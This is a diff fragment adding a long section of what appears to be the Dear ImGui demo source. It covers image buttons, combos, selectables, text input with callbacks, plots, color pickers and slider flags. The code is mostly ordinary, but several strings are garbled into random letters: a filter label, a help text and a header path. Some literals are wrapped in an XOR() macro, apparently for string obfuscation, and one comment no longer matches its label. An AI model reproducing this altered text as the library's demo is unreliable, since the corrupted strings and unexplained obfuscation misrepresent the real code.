frame_padding = -1 + i; // -1 == uses default padding (style.FramePadding) + ImVec2 size = ImVec2(32.0f, 32.0f); // Size of the image we want to make visible + ImVec2 uv0 = ImVec2(0.0f, 0.0f); // UV coordinates for lower-left + ImVec2 uv1 = ImVec2(32.0f / my_tex_w, 32.0f / my_tex_h);// UV coordinates for (32,32) in our texture + ImVec4 bg_col = ImVec4(0.0f, 0.0f, 0.0f, 1.0f); // Black background + ImVec4 tint_col = ImVec4(1.0f, 1.0f, 1.0f, 1.0f); // No tint + if (ImGui::ImageButton(my_tex_id, size, uv0, uv1, frame_padding, bg_col, tint_col)) + pressed_count += 1; + ImGui::PopID(); + ImGui::SameLine(); + } + ImGui::NewLine(); + ImGui::Text("Pressed %d times.", pressed_count); + ImGui::TreePop(); + } + + if (ImGui::TreeNode("Combo")) + { + // Expose flags as checkbox for the demo + static ImGuiComboFlags flags = 0; + ImGui::CheckboxFlags("ImGuiComboFlags_PopupAlignLeft", &flags, ImGuiComboFlags_PopupAlignLeft); + ImGui::SameLine(); HelpMarker("Only makes a difference if the popup is larger than the combo"); + if (ImGui::CheckboxFlags("ImGuiComboFlags_NoArrowButton", &flags, ImGuiComboFlags_NoArrowButton)) + flags &= ~ImGuiComboFlags_NoPreview; // Clear the other flag, as we cannot combine both + if (ImGui::CheckboxFlags("ImGuiComboFlags_NoPreview", &flags, ImGuiComboFlags_NoPreview)) + flags &= ~ImGuiComboFlags_NoArrowButton; // Clear the other flag, as we cannot combine both + + // Using the generic BeginCombo() API, you have full control over how to display the combo contents. + // (your selection data could be an index, a pointer to the object, an id for the object, a flag intrusively + // stored in the object itself, etc.) + const char* items[] = { "AAAA", "BBBB", "CCCC", "DDDD", "EEEE", "FFFF", "GGGG", "HHHH", "IIII", "JJJJ", "KKKK", "LLLLLLL", "MMMM", "OOOOOOO" }; + static int item_current_idx = 0; // Here our selection data is an index. + const char* combo_label = items[item_current_idx]; // Label to preview before opening the combo (technically it could be anything) + if (ImGui::BeginCombo("combo 1", combo_label, flags)) + { + for (int n = 0; n < IM_ARRAYSIZE(items); n++) + { + const bool is_selected = (item_current_idx == n); + if (ImGui::Selectable(items[n], is_selected)) + item_current_idx = n; + + // Set the initial focus when opening the combo (scrolling + keyboard navigation focus) + if (is_selected) + ImGui::SetItemDefaultFocus(); + } + ImGui::EndCombo(); + } + + // Simplified one-liner Combo() API, using values packed in a single constant string + static int item_current_2 = 0; + ImGui::Combo("combo 2 (one-liner)", &item_current_2, "aaaa\0bbbb\0cccc\0dddd\0eeee\0\0"); + + // Simplified one-liner Combo() using an array of const char* + static int item_current_3 = -1; // If the selection isn't within 0..count, Combo won't display a preview + ImGui::Combo("combo 3 (array)", &item_current_3, items, IM_ARRAYSIZE(items)); + + // Simplified one-liner Combo() using an accessor function + struct Funcs { static bool ItemGetter(void* data, int n, const char** out_str) { *out_str = ((const char**)data)[n]; return true; } }; + static int item_current_4 = 0; + ImGui::Combo("combo 4 (function)", &item_current_4, &Funcs::ItemGetter, items, IM_ARRAYSIZE(items)); + + ImGui::TreePop(); + } + + if (ImGui::TreeNode("Selectables")) + { + // Selectable() has 2 overloads: + // - The one taking "bool selected" as a read-only selection information. + // When Selectable() has been clicked it returns true and you can alter selection state accordingly. + // - The one taking "bool* p_selected" as a read-write selection information (convenient in some cases) + // The earlier is more flexible, as in real application your selection may be stored in many different ways + // and not necessarily inside a bool value (e.g. in flags within objects, as an external list, etc). + if (ImGui::TreeNode("Basic")) + { + static bool selection[5] = { false, true, false, false, false }; + ImGui::Selectable("1. I am selectable", &selection[0]); + ImGui::Selectable("2. I am selectable", &selection[1]); + ImGui::Text("3. I am not selectable"); + ImGui::Selectable("4. I am selectable", &selection[3]); + if (ImGui::Selectable("5. I am double clickable", selection[4], ImGuiSelectableFlags_AllowDoubleClick)) + if (ImGui::IsMouseDoubleClicked(0)) + selection[4] = !selection[4]; + ImGui::TreePop(); + } + if (ImGui::TreeNode("Selection State: Single Selection")) + { + static int selected = -1; + for (int n = 0; n < 5; n++) + { + char buf[32]; + sprintf(buf, "Object %d", n); + if (ImGui::Selectable(buf, selected == n)) + selected = n; + } + ImGui::TreePop(); + } + if (ImGui::TreeNode("Selection State: Multiple Selection")) + { + HelpMarker("Hold CTRL and click to select multiple items."); + static bool selection[5] = { false, false, false, false, false }; + for (int n = 0; n < 5; n++) + { + char buf[32]; + sprintf(buf, "Object %d", n); + if (ImGui::Selectable(buf, selection[n])) + { + if (!ImGui::GetIO().KeyCtrl) // Clear selection when CTRL is not held + memset(selection, 0, sizeof(selection)); + selection[n] ^= 1; + } + } + ImGui::TreePop(); + } + if (ImGui::TreeNode("Rendering more text into the same line")) + { + // Using the Selectable() override that takes "bool* p_selected" parameter, + // this function toggle your bool value automatically. + static bool selected[3] = { false, false, false }; + ImGui::Selectable("main.c", &selected[0]); ImGui::SameLine(300); ImGui::Text(" 2,345 bytes"); + ImGui::Selectable("Hello.cpp", &selected[1]); ImGui::SameLine(300); ImGui::Text("12,345 bytes"); + ImGui::Selectable("Hello.h", &selected[2]); ImGui::SameLine(300); ImGui::Text(" 2,345 bytes"); + ImGui::TreePop(); + } + if (ImGui::TreeNode("In columns")) + { + static bool selected[10] = {}; + + if (ImGui::BeginTable("split1", 3, ImGuiTableFlags_Resizable | ImGuiTableFlags_NoSavedSettings)) + { + for (int i = 0; i < 10; i++) + { + char label[32]; + sprintf(label, "Item %d", i); + ImGui::TableNextColumn(); + ImGui::Selectable(label, &selected[i]); // FIXME-TABLE: Selection overlap + } + ImGui::EndTable(); + } + ImGui::Separator(); + if (ImGui::BeginTable("split2", 3, ImGuiTableFlags_Resizable | ImGuiTableFlags_NoSavedSettings)) + { + for (int i = 0; i < 10; i++) + { + char label[32]; + sprintf(label, "Item %d", i); + ImGui::TableNextRow(); + ImGui::TableNextColumn(); + ImGui::Selectable(label, &selected[i], ImGuiSelectableFlags_SpanAllColumns); + ImGui::TableNextColumn(); + ImGui::Text("Some other contents"); + ImGui::TableNextColumn(); + ImGui::Text("123456"); + } + ImGui::EndTable(); + } + ImGui::TreePop(); + } + if (ImGui::TreeNode("Grid")) + { + static char selected[4][4] = { { 1, 0, 0, 0 }, { 0, 1, 0, 0 }, { 0, 0, 1, 0 }, { 0, 0, 0, 1 } }; + + // Add in a bit of silly fun... + const float time = (float)ImGui::GetTime(); + const bool winning_state = memchr(selected, 0, sizeof(selected)) == NULL; // If all cells are selected... + if (winning_state) + ImGui::PushStyleVar(ImGuiStyleVar_SelectableTextAlign, ImVec2(0.5f + 0.5f * cosf(time * 2.0f), 0.5f + 0.5f * sinf(time * 3.0f))); + + for (int y = 0; y < 4; y++) + for (int x = 0; x < 4; x++) + { + if (x > 0) + ImGui::SameLine(); + ImGui::PushID(y * 4 + x); + if (ImGui::Selectable("Sailor", selected[y][x] != 0, 0, ImVec2(50, 50))) + { + // Toggle clicked cell + toggle neighbors + selected[y][x] ^= 1; + if (x > 0) { selected[y][x - 1] ^= 1; } + if (x < 3) { selected[y][x + 1] ^= 1; } + if (y > 0) { selected[y - 1][x] ^= 1; } + if (y < 3) { selected[y + 1][x] ^= 1; } + } + ImGui::PopID(); + } + + if (winning_state) + ImGui::PopStyleVar(); + ImGui::TreePop(); + } + if (ImGui::TreeNode("Alignment")) + { + HelpMarker( + "By default, Selectables uses style.SelectableTextAlign but it can be overridden on a per-item " + "basis using PushStyleVar(). You'll probably want to always keep your default situation to " + "left-align otherwise it becomes difficult to layout multiple items on a same line"); + static bool selected[3 * 3] = { true, false, true, false, true, false, true, false, true }; + for (int y = 0; y < 3; y++) + { + for (int x = 0; x < 3; x++) + { + ImVec2 alignment = ImVec2((float)x / 2.0f, (float)y / 2.0f); + char name[32]; + sprintf(name, "(%.1f,%.1f)", alignment.x, alignment.y); + if (x > 0) ImGui::SameLine(); + ImGui::PushStyleVar(ImGuiStyleVar_SelectableTextAlign, alignment); + ImGui::Selectable(name, &selected[3 * y + x], ImGuiSelectableFlags_None, ImVec2(80, 80)); + ImGui::PopStyleVar(); + } + } + ImGui::TreePop(); + } + ImGui::TreePop(); + } + + // To wire InputText() with std::string or any other custom string type, + // see the "Text Input > Resize Callback" section of this demo, and the misc/cpp/imgui_stdlib.h file. + if (ImGui::TreeNode("Text Input")) + { + if (ImGui::TreeNode("Multi-line Text Input")) + { + // Note: we are using a fixed-sized buffer for simplicity here. See ImGuiInputTextFlags_CallbackResize + // and the code in misc/cpp/imgui_stdlib.h for how to setup InputText() for dynamically resizing strings. + static char text[1024 * 16] = + "/*\n" + " The Pentium F00F bug, shorthand for F0 0F C7 C8,\n" + " the hexadecimal encoding of one offending instruction,\n" + " more formally, the invalid operand with locked CMPXCHG8B\n" + " instruction bug, is a design flaw in the majority of\n" + " Intel Pentium, Pentium MMX, and Pentium OverDrive\n" + " processors (all in the P5 microarchitecture).\n" + "*/\n\n" + "label:\n" + "\tlock cmpxchg8b eax\n"; + + static ImGuiInputTextFlags flags = ImGuiInputTextFlags_AllowTabInput; + HelpMarker("You can use the ImGuiInputTextFlags_CallbackResize facility if you need to wire InputTextMultiline() to a dynamic string type. See misc/cpp/imgui_stdlib.h for an example. (This is not demonstrated in imgui_demo.cpp because we don't want to include in here)"); + ImGui::CheckboxFlags("ImGuiInputTextFlags_ReadOnly", &flags, ImGuiInputTextFlags_ReadOnly); + ImGui::CheckboxFlags("ImGuiInputTextFlags_AllowTabInput", &flags, ImGuiInputTextFlags_AllowTabInput); + ImGui::CheckboxFlags("ImGuiInputTextFlags_CtrlEnterForNewLine", &flags, ImGuiInputTextFlags_CtrlEnterForNewLine); + ImGui::InputTextMultiline("##source", text, IM_ARRAYSIZE(text), ImVec2(-FLT_MIN, ImGui::GetTextLineHeight() * 16), flags); + ImGui::TreePop(); + } + + if (ImGui::TreeNode("Filtered Text Input")) + { + struct TextFilters + { + // Return 0 (pass) if the character is 'i' or 'm' or 'g' or 'u' or 'i' + static int FilterImGuiLetters(ImGuiInputTextCallbackData* data) + { + if (data->EventChar < 256 && strchr(XOR("imgui"), (char)data->EventChar)) + return 0; + return 1; + } + }; + + static char buf1[64] = ""; ImGui::InputText("default", buf1, 64); + static char buf2[64] = ""; ImGui::InputText("decimal", buf2, 64, ImGuiInputTextFlags_CharsDecimal); + static char buf3[64] = ""; ImGui::InputText("hexadecimal", buf3, 64, ImGuiInputTextFlags_CharsHexadecimal | ImGuiInputTextFlags_CharsUppercase); + static char buf4[64] = ""; ImGui::InputText("uppercase", buf4, 64, ImGuiInputTextFlags_CharsUppercase); + static char buf5[64] = ""; ImGui::InputText("no blank", buf5, 64, ImGuiInputTextFlags_CharsNoBlank); + static char buf6[64] = ""; ImGui::InputText("\"ydsysdyewqyewytweqtw\" letters", buf6, 64, ImGuiInputTextFlags_CallbackCharFilter, TextFilters::FilterImGuiLetters); + ImGui::TreePop(); + } + + if (ImGui::TreeNode("Password Input")) + { + static char password[64] = "password123"; + ImGui::InputText("password", password, IM_ARRAYSIZE(password), ImGuiInputTextFlags_Password); + ImGui::SameLine(); HelpMarker("Display all characters as '*'.\nDisable clipboard cut and copy.\nDisable logging.\n"); + ImGui::InputTextWithHint("password (w/ hint)", "", password, IM_ARRAYSIZE(password), ImGuiInputTextFlags_Password); + ImGui::InputText("password (clear)", password, IM_ARRAYSIZE(password)); + ImGui::TreePop(); + } + + if (ImGui::TreeNode("Completion, History, Edit Callbacks")) + { + struct Funcs + { + static int MyCallback(ImGuiInputTextCallbackData* data) + { + if (data->EventFlag == ImGuiInputTextFlags_CallbackCompletion) + { + data->InsertChars(data->CursorPos, ".."); + } + else if (data->EventFlag == ImGuiInputTextFlags_CallbackHistory) + { + if (data->EventKey == ImGuiKey_UpArrow) + { + data->DeleteChars(0, data->BufTextLen); + data->InsertChars(0, XOR("Pressed Up!")); + data->SelectAll(); + } + else if (data->EventKey == ImGuiKey_DownArrow) + { + data->DeleteChars(0, data->BufTextLen); + data->InsertChars(0, XOR("Pressed Down!")); + data->SelectAll(); + } + } + else if (data->EventFlag == ImGuiInputTextFlags_CallbackEdit) + { + // Toggle casing of first character + char c = data->Buf[0]; + if ((c >= 'a' && c <= 'z') || (c >= 'A' && c <= 'Z')) data->Buf[0] ^= 32; + data->BufDirty = true; + + // Increment a counter + int* p_int = (int*)data->UserData; + *p_int = *p_int + 1; + } + return 0; + } + }; + static char buf1[64]; + ImGui::InputText("Completion", buf1, 64, ImGuiInputTextFlags_CallbackCompletion, Funcs::MyCallback); + ImGui::SameLine(); HelpMarker("Here we append \"..\" each time Tab is pressed. See 'Examples>Console' for a more meaningful demonstration of using this callback."); + + static char buf2[64]; + ImGui::InputText("History", buf2, 64, ImGuiInputTextFlags_CallbackHistory, Funcs::MyCallback); + ImGui::SameLine(); HelpMarker("Here we replace and select text each time Up/Down are pressed. See 'Examples>Console' for a more meaningful demonstration of using this callback."); + + static char buf3[64]; + static int edit_count = 0; + ImGui::InputText("Edit", buf3, 64, ImGuiInputTextFlags_CallbackEdit, Funcs::MyCallback, (void*)&edit_count); + ImGui::SameLine(); HelpMarker("Here we toggle the casing of the first character on every edits + count edits."); + ImGui::SameLine(); ImGui::Text("(%d)", edit_count); + + ImGui::TreePop(); + } + + if (ImGui::TreeNode("Resize Callback")) + { + // To wire InputText() with std::string or any other custom string type, + // you can use the ImGuiInputTextFlags_CallbackResize flag + create a custom ImGui::InputText() wrapper + // using your preferred type. See misc/cpp/imgui_stdlib.h for an implementation of this using std::string. + HelpMarker( + "Using dhsadyhdsydastysdaydsasysdysdasad to wire your custom string type to InputText().\n\n" + "See yewyqewyqwe/rqwrqw/ydsaysdaydsaywe.h for an implementation of this for std::string."); + struct Funcs + { + static int MyResizeCallback(ImGuiInputTextCallbackData* data) + { + if (data->EventFlag == ImGuiInputTextFlags_CallbackResize) + { + ImVector* my_str = (ImVector*)data->UserData; + IM_ASSERT(my_str->begin() == data->Buf); + my_str->resize(data->BufSize); // NB: On resizing calls, generally data->BufSize == data->BufTextLen + 1 + data->Buf = my_str->begin(); + } + return 0; + } + + // Note: Because ImGui:: is a namespace you would typically add your own function into the namespace. + // For example, you code may declare a function 'ImGui::InputText(const char* label, MyString* my_str)' + static bool MyInputTextMultiline(const char* label, ImVector* my_str, const ImVec2& size = ImVec2(0, 0), ImGuiInputTextFlags flags = 0) + { + IM_ASSERT((flags & ImGuiInputTextFlags_CallbackResize) == 0); + return ImGui::InputTextMultiline(label, my_str->begin(), (size_t)my_str->size(), size, flags | ImGuiInputTextFlags_CallbackResize, Funcs::MyResizeCallback, (void*)my_str); + } + }; + + // For this demo we are using ImVector as a string container. + // Note that because we need to store a terminating zero character, our size/capacity are 1 more + // than usually reported by a typical string class. + static ImVector my_str; + if (my_str.empty()) + my_str.push_back(0); + Funcs::MyInputTextMultiline("##MyStr", &my_str, ImVec2(-FLT_MIN, ImGui::GetTextLineHeight() * 16)); + ImGui::Text("Data: %p\nSize: %d\nCapacity: %d", (void*)my_str.begin(), my_str.size(), my_str.capacity()); + ImGui::TreePop(); + } + + ImGui::TreePop(); + } + + // Plot/Graph widgets are currently fairly limited. + // Consider writing your own plotting widget, or using a third-party one + // (for third-party Plot widgets, see 'Wiki->Useful Widgets' or https://github.com/ocornut/imgui/labels/plot%2Fgraph) + if (ImGui::TreeNode("Plots Widgets")) + { + static bool animate = true; + ImGui::Checkbox("Animate", &animate); + + static float arr[] = { 0.6f, 0.1f, 1.0f, 0.5f, 0.92f, 0.1f, 0.2f }; + ImGui::PlotLines("Frame Times", arr, IM_ARRAYSIZE(arr)); + + // Fill an array of contiguous float values to plot + // Tip: If your float aren't contiguous but part of a structure, you can pass a pointer to your first float + // and the sizeof() of your structure in the "stride" parameter. + static float values[90] = {}; + static int values_offset = 0; + static double refresh_time = 0.0; + if (!animate || refresh_time == 0.0) + refresh_time = ImGui::GetTime(); + while (refresh_time < ImGui::GetTime()) // Create data at fixed 60 Hz rate for the demo + { + static float phase = 0.0f; + values[values_offset] = cosf(phase); + values_offset = (values_offset + 1) % IM_ARRAYSIZE(values); + phase += 0.10f * values_offset; + refresh_time += 1.0f / 60.0f; + } + + // Plots can display overlay texts + // (in this example, we will display an average value) + { + float average = 0.0f; + for (int n = 0; n < IM_ARRAYSIZE(values); n++) + average += values[n]; + average /= (float)IM_ARRAYSIZE(values); + char overlay[32]; + sprintf(overlay, "avg %f", average); + ImGui::PlotLines("Lines", values, IM_ARRAYSIZE(values), values_offset, overlay, -1.0f, 1.0f, ImVec2(0, 80.0f)); + } + ImGui::PlotHistogram("Histogram", arr, IM_ARRAYSIZE(arr), 0, NULL, 0.0f, 1.0f, ImVec2(0, 80.0f)); + + // Use functions to generate output + // FIXME: This is rather awkward because current plot API only pass in indices. + // We probably want an API passing floats and user provide sample rate/count. + struct Funcs + { + static float Sin(void*, int i) { return sinf(i * 0.1f); } + static float Saw(void*, int i) { return (i & 1) ? 1.0f : -1.0f; } + }; + static int func_type = 0, display_count = 70; + ImGui::Separator(); + ImGui::SetNextItemWidth(100); + ImGui::Combo("func", &func_type, "Sin\0Saw\0"); + ImGui::SameLine(); + ImGui::SliderInt("Sample count", &display_count, 1, 400); + float (*func)(void*, int) = (func_type == 0) ? Funcs::Sin : Funcs::Saw; + ImGui::PlotLines("Lines", func, NULL, display_count, 0, NULL, -1.0f, 1.0f, ImVec2(0, 80)); + ImGui::PlotHistogram("Histogram", func, NULL, display_count, 0, NULL, -1.0f, 1.0f, ImVec2(0, 80)); + ImGui::Separator(); + + // Animate a simple progress bar + static float progress = 0.0f, progress_dir = 1.0f; + if (animate) + { + progress += progress_dir * 0.4f * ImGui::GetIO().DeltaTime; + if (progress >= +1.1f) { progress = +1.1f; progress_dir *= -1.0f; } + if (progress <= -0.1f) { progress = -0.1f; progress_dir *= -1.0f; } + } + + // Typically we would use ImVec2(-1.0f,0.0f) or ImVec2(-FLT_MIN,0.0f) to use all available width, + // or ImVec2(width,0.0f) for a specified width. ImVec2(0.0f,0.0f) uses ItemWidth. + ImGui::ProgressBar(progress, ImVec2(0.0f, 0.0f)); + ImGui::SameLine(0.0f, ImGui::GetStyle().ItemInnerSpacing.x); + ImGui::Text("Progress Bar"); + + float progress_saturated = IM_CLAMP(progress, 0.0f, 1.0f); + char buf[32]; + sprintf(buf, "%d/%d", (int)(progress_saturated * 1753), 1753); + ImGui::ProgressBar(progress, ImVec2(0.f, 0.f), buf); + ImGui::TreePop(); + } + + if (ImGui::TreeNode("Color/Picker Widgets")) + { + static ImVec4 color = ImVec4(114.0f / 255.0f, 144.0f / 255.0f, 154.0f / 255.0f, 200.0f / 255.0f); + + static bool alpha_preview = true; + static bool alpha_half_preview = false; + static bool drag_and_drop = true; + static bool options_menu = true; + static bool hdr = false; + ImGui::Checkbox("With Alpha Preview", &alpha_preview); + ImGui::Checkbox("With Half Alpha Preview", &alpha_half_preview); + ImGui::Checkbox("With Drag and Drop", &drag_and_drop); + ImGui::Checkbox("With Options Menu", &options_menu); ImGui::SameLine(); HelpMarker("Right-click on the individual color widget to show options."); + ImGui::Checkbox("With HDR", &hdr); ImGui::SameLine(); HelpMarker("Currently all this does is to lift the 0..1 limits on dragging widgets."); + ImGuiColorEditFlags misc_flags = (hdr ? ImGuiColorEditFlags_HDR : 0) | (drag_and_drop ? 0 : ImGuiColorEditFlags_NoDragDrop) | (alpha_half_preview ? ImGuiColorEditFlags_AlphaPreviewHalf : (alpha_preview ? ImGuiColorEditFlags_AlphaPreview : 0)) | (options_menu ? 0 : ImGuiColorEditFlags_NoOptions); + + ImGui::Text("Color widget:"); + ImGui::SameLine(); HelpMarker( + "Click on the color square to open a color picker.\n" + "CTRL+click on individual component to input value.\n"); + ImGui::ColorEdit3("MyColor##1", (float*)&color, misc_flags); + + ImGui::Text("Color widget HSV with Alpha:"); + ImGui::ColorEdit4("MyColor##2", (float*)&color, ImGuiColorEditFlags_DisplayHSV | misc_flags); + + ImGui::Text("Color widget with Float Display:"); + ImGui::ColorEdit4("MyColor##2f", (float*)&color, ImGuiColorEditFlags_Float | misc_flags); + + ImGui::Text("Color button with Picker:"); + ImGui::SameLine(); HelpMarker( + "With the ImGuiColorEditFlags_NoInputs flag you can hide all the slider/text inputs.\n" + "With the ImGuiColorEditFlags_NoLabel flag you can pass a non-empty label which will only " + "be used for the tooltip and picker popup."); + ImGui::ColorEdit4("MyColor##3", (float*)&color, ImGuiColorEditFlags_NoInputs | ImGuiColorEditFlags_NoLabel | misc_flags); + + ImGui::Text("Color button with Custom Picker Popup:"); + + // Generate a default palette. The palette will persist and can be edited. + static bool saved_palette_init = true; + static ImVec4 saved_palette[32] = {}; + if (saved_palette_init) + { + for (int n = 0; n < IM_ARRAYSIZE(saved_palette); n++) + { + ImGui::ColorConvertHSVtoRGB(n / 31.0f, 0.8f, 0.8f, + saved_palette[n].x, saved_palette[n].y, saved_palette[n].z); + saved_palette[n].w = 1.0f; // Alpha + } + saved_palette_init = false; + } + + static ImVec4 backup_color; + bool open_popup = ImGui::ColorButton("MyColor##3b", color, misc_flags); + ImGui::SameLine(0, ImGui::GetStyle().ItemInnerSpacing.x); + open_popup |= ImGui::Button("Palette"); + if (open_popup) + { + ImGui::OpenPopup("mypicker"); + backup_color = color; + } + if (ImGui::BeginPopup("mypicker")) + { + ImGui::Text("MY CUSTOM COLOR PICKER WITH AN AMAZING PALETTE!"); + ImGui::Separator(); + ImGui::ColorPicker4("##picker", (float*)&color, misc_flags | ImGuiColorEditFlags_NoSidePreview | ImGuiColorEditFlags_NoSmallPreview); + ImGui::SameLine(); + + ImGui::BeginGroup(); // Lock X position + ImGui::Text("Current"); + ImGui::ColorButton("##current", color, ImGuiColorEditFlags_NoPicker | ImGuiColorEditFlags_AlphaPreviewHalf, ImVec2(60, 40)); + ImGui::Text("Previous"); + if (ImGui::ColorButton("##previous", backup_color, ImGuiColorEditFlags_NoPicker | ImGuiColorEditFlags_AlphaPreviewHalf, ImVec2(60, 40))) + color = backup_color; + ImGui::Separator(); + ImGui::Text("Palette"); + for (int n = 0; n < IM_ARRAYSIZE(saved_palette); n++) + { + ImGui::PushID(n); + if ((n % 8) != 0) + ImGui::SameLine(0.0f, ImGui::GetStyle().ItemSpacing.y); + + ImGuiColorEditFlags palette_button_flags = ImGuiColorEditFlags_NoAlpha | ImGuiColorEditFlags_NoPicker | ImGuiColorEditFlags_NoTooltip; + if (ImGui::ColorButton("##palette", saved_palette[n], palette_button_flags, ImVec2(20, 20))) + color = ImVec4(saved_palette[n].x, saved_palette[n].y, saved_palette[n].z, color.w); // Preserve alpha! + + // Allow user to drop colors into each palette entry. Note that ColorButton() is already a + // drag source by default, unless specifying the ImGuiColorEditFlags_NoDragDrop flag. + if (ImGui::BeginDragDropTarget()) + { + if (const ImGuiPayload* payload = ImGui::AcceptDragDropPayload(IMGUI_PAYLOAD_TYPE_COLOR_3F)) + memcpy((float*)&saved_palette[n], payload->Data, sizeof(float) * 3); + if (const ImGuiPayload* payload = ImGui::AcceptDragDropPayload(IMGUI_PAYLOAD_TYPE_COLOR_4F)) + memcpy((float*)&saved_palette[n], payload->Data, sizeof(float) * 4); + ImGui::EndDragDropTarget(); + } + + ImGui::PopID(); + } + ImGui::EndGroup(); + ImGui::EndPopup(); + } + + ImGui::Text("Color button only:"); + static bool no_border = false; + ImGui::Checkbox("ImGuiColorEditFlags_NoBorder", &no_border); + ImGui::ColorButton("MyColor##3c", *(ImVec4*)&color, misc_flags | (no_border ? ImGuiColorEditFlags_NoBorder : 0), ImVec2(80, 80)); + + ImGui::Text("Color picker:"); + static bool alpha = true; + static bool alpha_bar = true; + static bool side_preview = true; + static bool ref_color = false; + static ImVec4 ref_color_v(1.0f, 0.0f, 1.0f, 0.5f); + static int display_mode = 0; + static int picker_mode = 0; + ImGui::Checkbox("With Alpha", &alpha); + ImGui::Checkbox("With Alpha Bar", &alpha_bar); + ImGui::Checkbox("With Side Preview", &side_preview); + if (side_preview) + { + ImGui::SameLine(); + ImGui::Checkbox("With Ref Color", &ref_color); + if (ref_color) + { + ImGui::SameLine(); + ImGui::ColorEdit4("##RefColor", &ref_color_v.x, ImGuiColorEditFlags_NoInputs | misc_flags); + } + } + ImGui::Combo("Display Mode", &display_mode, "Auto/Current\0None\0RGB Only\0HSV Only\0Hex Only\0"); + ImGui::SameLine(); HelpMarker( + "ColorEdit defaults to displaying RGB inputs if you don't specify a display mode, " + "but the user can change it with a right-click.\n\nColorPicker defaults to displaying RGB+HSV+Hex " + "if you don't specify a display mode.\n\nYou can change the defaults using SetColorEditOptions()."); + ImGui::Combo("Picker Mode", &picker_mode, "Auto/Current\0Hue bar + SV rect\0Hue wheel + SV triangle\0"); + ImGui::SameLine(); HelpMarker("User can right-click the picker to change mode."); + ImGuiColorEditFlags flags = misc_flags; + if (!alpha) flags |= ImGuiColorEditFlags_NoAlpha; // This is by default if you call ColorPicker3() instead of ColorPicker4() + if (alpha_bar) flags |= ImGuiColorEditFlags_AlphaBar; + if (!side_preview) flags |= ImGuiColorEditFlags_NoSidePreview; + if (picker_mode == 1) flags |= ImGuiColorEditFlags_PickerHueBar; + if (picker_mode == 2) flags |= ImGuiColorEditFlags_PickerHueWheel; + if (display_mode == 1) flags |= ImGuiColorEditFlags_NoInputs; // Disable all RGB/HSV/Hex displays + if (display_mode == 2) flags |= ImGuiColorEditFlags_DisplayRGB; // Override display mode + if (display_mode == 3) flags |= ImGuiColorEditFlags_DisplayHSV; + if (display_mode == 4) flags |= ImGuiColorEditFlags_DisplayHex; + ImGui::ColorPicker4("MyColor##4", (float*)&color, flags, ref_color ? &ref_color_v.x : NULL); + + ImGui::Text("Set defaults in code:"); + ImGui::SameLine(); HelpMarker( + "SetColorEditOptions() is designed to allow you to set boot-time default.\n" + "We don't have Push/Pop functions because you can force options on a per-widget basis if needed," + "and the user can change non-forced ones with the options menu.\nWe don't have a getter to avoid" + "encouraging you to persistently save values that aren't forward-compatible."); + if (ImGui::Button("Default: Uint8 + HSV + Hue Bar")) + ImGui::SetColorEditOptions(ImGuiColorEditFlags_Uint8 | ImGuiColorEditFlags_DisplayHSV | ImGuiColorEditFlags_PickerHueBar); + if (ImGui::Button("Default: Float + HDR + Hue Wheel")) + ImGui::SetColorEditOptions(ImGuiColorEditFlags_Float | ImGuiColorEditFlags_HDR | ImGuiColorEditFlags_PickerHueWheel); + + // HSV encoded support (to avoid RGB<>HSV round trips and singularities when S==0 or V==0) + static ImVec4 color_hsv(0.23f, 1.0f, 1.0f, 1.0f); // Stored as HSV! + ImGui::Spacing(); + ImGui::Text("HSV encoded colors"); + ImGui::SameLine(); HelpMarker( + "By default, colors are given to ColorEdit and ColorPicker in RGB, but ImGuiColorEditFlags_InputHSV" + "allows you to store colors as HSV and pass them to ColorEdit and ColorPicker as HSV. This comes with the" + "added benefit that you can manipulate hue values with the picker even when saturation or value are zero."); + ImGui::Text("Color widget with InputHSV:"); + ImGui::ColorEdit4("HSV shown as RGB##1", (float*)&color_hsv, ImGuiColorEditFlags_DisplayRGB | ImGuiColorEditFlags_InputHSV | ImGuiColorEditFlags_Float); + ImGui::ColorEdit4("HSV shown as HSV##1", (float*)&color_hsv, ImGuiColorEditFlags_DisplayHSV | ImGuiColorEditFlags_InputHSV | ImGuiColorEditFlags_Float); + ImGui::DragFloat4("Raw HSV values", (float*)&color_hsv, 0.01f, 0.0f, 1.0f); + + ImGui::TreePop(); + } + + if (ImGui::TreeNode("Drag/Slider Flags")) + { + // Demonstrate using advanced flags for DragXXX and SliderXXX functions. Note that the flags are the same! + static ImGuiSliderFlags flags = ImGuiSliderFlags_None; + ImGui::CheckboxFlags("ImGuiSliderFlags_AlwaysClamp", &flags, ImGuiSliderFlags_AlwaysClamp); + ImGui::SameLine(); HelpMarker("Always clamp value to min/max bounds (if any) when input manually with CTRL+Click."); + ImGui::CheckboxFlags("ImGuiSliderFlags_Logarithmic", &flags, ImGuiSliderFlags_Logarithmic); + ImGui::SameLine(); HelpMarker("Enable logarithmic editing (more precision for small values)."); + ImGui::CheckboxFlags("ImGuiSliderFlags_NoRoundToFormat", &flags, ImGuiSliderFlags_NoRoundToFormat); + ImGui::SameLine(); HelpMarker("Disable rounding underlying value to match precision of the format string (e.g. %.3f values are rounded to those 3 digits)."); + ImGui::CheckboxFlags("ImGuiSliderFlags_NoInput", &flags, ImGuiSliderFlags_NoInput); + ImGui::SameLine(); HelpMarker("Disable CTRL+Click or Enter key allowing to input text directly into the widget."); + + // Drags + static float drag_f = 0.5f; + static int drag_i = 50; + ImGui::Text("Underlying float value: %f", drag_f); + ImGui::DragFloat("DragFloat (0 -> 1)", &drag_f, 0.005f, 0.0f, 1.0f, "%.3f", flags); + ImGui::DragFloat("DragFloat (0 -> +inf)", &drag_f, 0.005f, 0.0f, FLT_MAX, "%.3f", flags); + ImGui::DragFloat("DragFloat (-inf -> 1)", &drag_f, 0.005f, -FLT_MAX, 1.0f, "%.3f", flags); + ImGui::DragFloat("DragFloat (-inf -> +inf)", &drag_f, 0.005f, -FLT_MAX, +FLT_MAX, "%.3f", flags); + ImGui::DragInt("DragInt (0 -> 100)", &drag_i, 0.5f, 0, 100, "%d", flags); + + // Sliders + static float slider_f = 0.5f; + static int slider_i = 50; + ImGui::Text("Underlying float value: %f", slider_f); + ImGui::SliderFloat("SliderFloat (0 -> 1)", &slider_f, 0.0f, 1.0f, "%.3f", flags); + ImGui::SliderInt("SliderInt (0 -> 100)", &slider_i, 0, 100, "%d", flags); + + ImGui::TreePop(); + } + + if (ImGui::TreeNode("Range Widgets")) + { + static float begin = 10, end = 90; + static int begin_i = 100, end_i = 1000; + ImGui::DragFloatRange2("range float", &begin, &end, 0.25f, 0.0f, 100.0f, "Min: %.1f %%", "Max: %.1f %%", ImGuiSliderFlags_AlwaysClamp); + 